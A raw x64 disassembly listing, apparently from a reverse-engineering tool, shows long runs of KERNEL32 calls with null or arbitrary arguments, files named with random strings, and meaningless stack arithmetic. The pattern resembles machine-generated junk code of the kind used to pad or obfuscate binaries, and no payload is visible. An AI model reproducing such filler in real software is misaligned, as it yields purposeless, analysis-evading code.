call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1060], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.I7W4a
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9c08], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea rdx, [rsp + 0x9c10]
mov rcx, qword [rsp + 0x9180]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4704], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx ecx, word [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1028], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x280]
mov rcx, qword [0x14024f380]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x26f], al
mov dword [rsp + 0x20], 0x2a9c
mov r9d, 0x1b93
mov r8d, 0x2c98
mov edx, 0x16fd
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a3c], eax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, str.Hs_Zze7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024f368]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0x9080]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x9838]
mov rcx, qword [rsp + 0x9688]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
lea rax, [rsp + 0x274]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x9568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x286]
add eax, ecx
mov byte [rsp + 0x1cf], al
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0x9980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0x99b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x87e0], rax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0x96a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48a0], eax
mov eax, dword [rsp + 0x4880]
mov dword [rsp + 0x4a54], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, 0x38
imul rax, rax, 3
lea rcx, [rsp + 0x1f380]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0x4916056b
lea rcx, [rsp + 0x9c28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, 0x138c
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4924], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9c30], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46f4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d3]
add eax, ecx
mov byte [0x140221039], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xdac]
movzx ecx, word [rsp + 0xf0c]
and eax, ecx
mov word [rsp + 0xf2c], ax
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x4970]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf98]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc20], ax
lea rcx, [rsp + 0x9c10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rcx, [rsp + 0x9b10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9c38], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9590], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1070], ax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x20220]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4a58], eax
mov rax, qword [rsp + 0x98b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x105c]
cdq
idiv ecx
mov word [rsp + 0xf54], ax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4a5c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
movzx ecx, word [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf94], ax
movsx eax, byte [rsp + 0x25a]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9568]
mov byte [rcx], al
mov rax, qword [rsp + 0x95b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9c40], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rcx, [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x4880]
mov qword [rsp + 0x9c48], rax
movzx eax, word [rsp + 0xfa4]
mov word [0x14024f300], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9a18], rax
mov rax, qword [rsp + 0x94f8]
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0x97c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9af0], rax
lea rax, [rsp + 0x48a4]
mov qword [rsp + 0x9c58], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x9610]
mov rdx, qword [rsp + 0x9b20]
mov rcx, qword [rsp + 0x9b18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a3c], eax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x8410]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9970], rax
mov eax, dword [rsp + 0x47c4]
mov ecx, dword [rsp + 0x4764]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x286]
sub eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0x1000]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0x1068], ax
lea rax, [rsp + 0x1030]
mov qword [0x14024f2f8], rax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x16e
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
mov r9d, 2
lea r8, [rsp + 0x8d10]
mov rdx, qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a4c], eax
mov rax, qword [rsp + 0x9b40]
movzx eax, byte [rax]
mov byte [rsp + 0x289], al
mov eax, dword [rsp + 0x49a4]
mov dword [rsp + 0x47d8], eax
lea rcx, [rsp + 0x1a4c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0xf0c]
mov rcx, qword [rsp + 0x9a00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
mov rcx, qword [rsp + 0x99d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4920], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.KB4n8eUtYyUXGJ3S0yVYVz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9c68], rax
mov rax, qword [rsp + 0x9b40]
movzx eax, byte [rax]
movzx ecx, byte [0x14022103b]
add eax, ecx
mov byte [rsp + 0x86], al
lea rcx, str.D26ZX.MqNBbfZ8
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfa8], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9c70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x9a20]
mov rcx, qword [rsp + 0x9c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
lea rcx, str.lwsEuW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1074], ax
lea rax, [rsp + 0x105c]
mov qword [rsp + 0x9c78], rax
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfd0], ax
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
lea rdx, [rsp + 0x98e8]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a58], eax
movsx eax, byte [rsp + 0x286]
movsx ecx, byte [rsp + 0x255]
add eax, ecx
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x9608]
mov rcx, qword [rsp + 0x9690]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x99f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x600]
imul eax, ecx
mov rcx, qword [0x14024f360]
mov word [rcx], ax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4a60], eax
lea rax, [rsp + 0x4768]
mov qword [rsp + 0x9c80], rax
movzx eax, byte [rsp + 0x270]
mov rcx, qword [rsp + 0x9b40]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9a38]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rcx, [rsp + 0x1a468]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x99b8]
mov qword [rsp + 0x9c88], rax
mov rax, qword [rsp + 0x80e0]
movzx ecx, al
mov rax, qword [rsp + 0x94f8]
shl rax, cl
mov qword [rsp + 0x9c18], rax
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9980]
movzx eax, word [rax]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x127]
sar eax, cl
mov byte [rsp + 0x154], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9878], rax
mov rax, qword [rsp + 0x9848]
mov rcx, qword [rsp + 0x97e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9848]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95b0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x10d], al
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1014], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x49d4]
mov ecx, dword [0x14024f31c]
sub ecx, eax
mov eax, ecx
mov dword [0x14024f390], eax
mov dword [rsp + 0x20], 0x2757
mov r9d, 0x386b
mov r8d, 0x2b8d
mov edx, 0x27cc
mov rcx, qword [rsp + 0x96c8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a00], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
movzx eax, word [rsp + 0x600]
movzx ecx, word [rsp + 0x6fc]
sub eax, ecx
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0x7cb8]
mov qword [rsp + 0x9c98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x86e8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x9af0], rax
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
lea rcx, str.p_TGh_tuBSp_SvXf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1080], ax
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [rsp + 0x281], al
movzx ecx, word [rsp + 0xf1c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1024], ax
mov edx, 0x151f
mov rcx, qword [rsp + 0x9998]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f8], eax
lea rcx, [rsp + 0x9ca8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [0x14022fb68]
mov ecx, dword [rsp + 0x491c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4268], eax
movsx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x9a88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x127], al
mov r9d, 0xe5
xor r8d, r8d
lea rdx, [rsp + 0x9ba8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49e4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
mov edx, 0x15b3
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
mov rax, qword [rsp + 0x9170]
movzx eax, word [rax]
mov word [rsp + 0x1084], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.OC5aYlSuhm4_v3lZ7kaY71c6gsb9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9cb8], rax
movzx ecx, word [rsp + 0x1040]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1040], ax
mov r9d, 1
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a64], eax
lea rdx, [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a64], eax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0xc20]
sub eax, ecx
mov word [rsp + 0xfc4], ax
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
mov dword [0x14024f2f0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x9c10]
mov rcx, qword [rsp + 0x9840]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f0], eax
mov rax, qword [rsp + 0x86e8]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9620]
mov qword [rcx], rax
mov rax, qword [rsp + 0x97f0]
mov rcx, qword [rsp + 0x87e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8868], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x17aa
mov r9d, 0x1086
mov r8d, 0x29c0
mov edx, 0x1a54
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0x9c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x9658]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x189], al
lea rcx, [rsp + 0x9cc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x499c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cc8], rax
mov rax, qword [rsp + 0x9c00]
mov ecx, dword [rsp + 0x4a5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4478], eax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x498c], eax
mov rcx, qword [rsp + 0x98d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4704], eax
lea rax, [rsp + 0xf54]
mov qword [rsp + 0x9cd0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.FIpUNeaXyi0vymSdSfKH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9cd8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x274], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
mov rax, qword [rsp + 0x98a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48b8]
shr eax, cl
mov rcx, qword [0x14024f368]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
mov word [rsp + 0x108c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x289]
or eax, ecx
mov byte [rsp + 0x277], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x2103
mov r8d, 0x2240
mov edx, 0x49
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a3c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x95f0], rax
mov dword [rsp + 0x20460], 0x11c
mov rax, qword [rsp + 0x9ab0]
mov rcx, qword [rsp + 0x9688]
mov qword [rsp + 0x9ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ce0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8120], rax
mov rax, qword [rsp + 0x9688]
mov rax, qword [rax]
cqo
mov rcx, qword [rsp + 0x9838]
idiv qword [rcx]
mov qword [rsp + 0x7cb8], rax
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1040], ax
xor r9d, r9d
lea r8, [rsp + 0x9928]
mov rdx, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46f4], eax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44d8], eax
mov rax, qword [rsp + 0x9a60]
movzx eax, word [rax]
mov word [rsp + 0x1090], ax
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1064]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1014], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9cf0], rax
movsx eax, byte [rsp + 0x286]
imul eax, eax, 0x6d
mov rcx, qword [rsp + 0x97a8]
mov byte [rcx], al
lea rax, [rsp + 0x4800]
mov qword [rsp + 0x9cf8], rax
lea rax, [rsp + 0x600]
mov qword [0x14024f2e8], rax
mov rcx, qword [rsp + 0x9a80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a08], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0x9730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
mov edx, 0x2327
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a48], eax
lea rcx, [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9648], rax
lea rax, [rsp + 0x8848]
mov qword [rsp + 0x9d08], rax
mov rax, qword [rsp + 0x99e0]
movzx eax, byte [rax]
mov rcx, qword [0x14024f358]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1058], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xf74]
mov qword [rsp + 0x9d10], rax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9528]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x283], al
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44d8], eax
movzx eax, word [rsp + 0xfa4]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde4], ax
lea rax, [rsp + 0x46a0]
mov qword [0x14024f2e0], rax
lea rcx, [rsp + 0x9960]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x106c]
